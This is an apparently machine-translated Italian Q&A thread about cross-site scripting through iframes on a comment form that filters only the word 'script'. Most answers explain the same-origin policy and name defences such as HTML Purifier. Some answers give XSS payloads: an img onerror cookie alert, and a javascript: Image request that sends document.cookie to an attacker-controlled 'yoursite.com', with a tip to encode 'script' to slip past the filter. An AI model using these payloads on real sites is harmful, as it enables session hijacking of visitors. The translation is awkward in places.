2011-11-28 15 views
7

sto sperimentando con cross site scripting. Ho un sito Web che consente agli utenti di inserire commenti e visualizzarli sul sito web. Il sito Web filtra la stringa "script" attraverso il commento ma consente gli iframe. Capisco che potrei incorporare un iframe che rimanda a un sito Web che realizzo e che posso eseguire qualsiasi script desideri. La mia domanda è: il mio script iframe sarà in grado di leggere i cookie avviati dal sito web originale? Ho provato l'avviso (document.cookie) ma mostra un avviso con nulla in esso. Il sito Web originale imposta sempre un cookie anche quando un client lo richiede. Qualche idea di ciò che mi manca?Cross Site Scripting con Iframe

+1

Per accedere a una pagina padre da un iframe (entrambe le pagine sullo stesso doimain), usa l'oggetto 'parent', ad es 'parent.document.cookie' –

risposta

9

Sia la pagina circostante devono provenire dallo stesso dominio. Questo è limitato dalla stessa politica di origine, che stabilisce che uno script in un frame può accedere ai dati solo in un altro frame dato che si trovano sullo stesso protocollo, hanno lo stesso identico nome di dominio e sono in esecuzione sulla stessa porta. Può essere leggermente rilassato impostando document.domain sul dominio di primo livello in entrambi i frame e consentendo così ai frame di sottodominio di comunicare.

Si potrebbe anche cercare di ingresso, che comunque potrebbe essere bloccato nei browser più recenti.

sceneggiatura limitazione non è tuttavia sufficiente a fermare XSS. Ci sono molti molti altri modi. Vedi http://html5sec.org e http://ha.ckers.org/xss.html

+0

Se ho capito bene, è il problema del iframe secondario impostare il document.domain, non è vero? * (dal momento che farlo nel documento genitore restituisce un errore di rete) * – user2284570

0

Per quanto ne so, un iframe non può accedere al sito Web originale se il dominio di iframe e il dominio del sito Web originale sono diversi, ma ci sono other problems. (Es. Il cracker commentando <img src="asdf" onerror="alert(document.cookie)"/>)

Si consiglia di utilizzare quarantina come HTML Purifier ....

1

Cookies seguono stessa politica di origine. Quindi se il sito web di attacco e il sito web della vittima (che consente l'apertura degli iframe) hanno lo stesso host, allora il popup sull'esecuzione di document.cookie conterrà le informazioni sui cookie. Poiché nel tuo caso sembrano essere di domini diff, il furto dei cookie non sarà possibile. Per prevenire XSS il modo migliore è usare il tag C: out della libreria jstl core

3

Hai fatto sembrare che stai tentando di utilizzare il cookie come carico utile per l'XSS?

Sei in realtà cercando di rubare il cookie?

Ma se il sito è che consente di inserire commenti e la rimozione di solo "script", allora hai un sacco di alternative per l'inserimento di XSS compreso coookie sceneggiatura rubare.

provare questo

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie; 

ma si vuole codificare lo script di parola in modo da poter invece si può provare

Script

o Unicode 73 63 72 69 70 74

Problemi correlati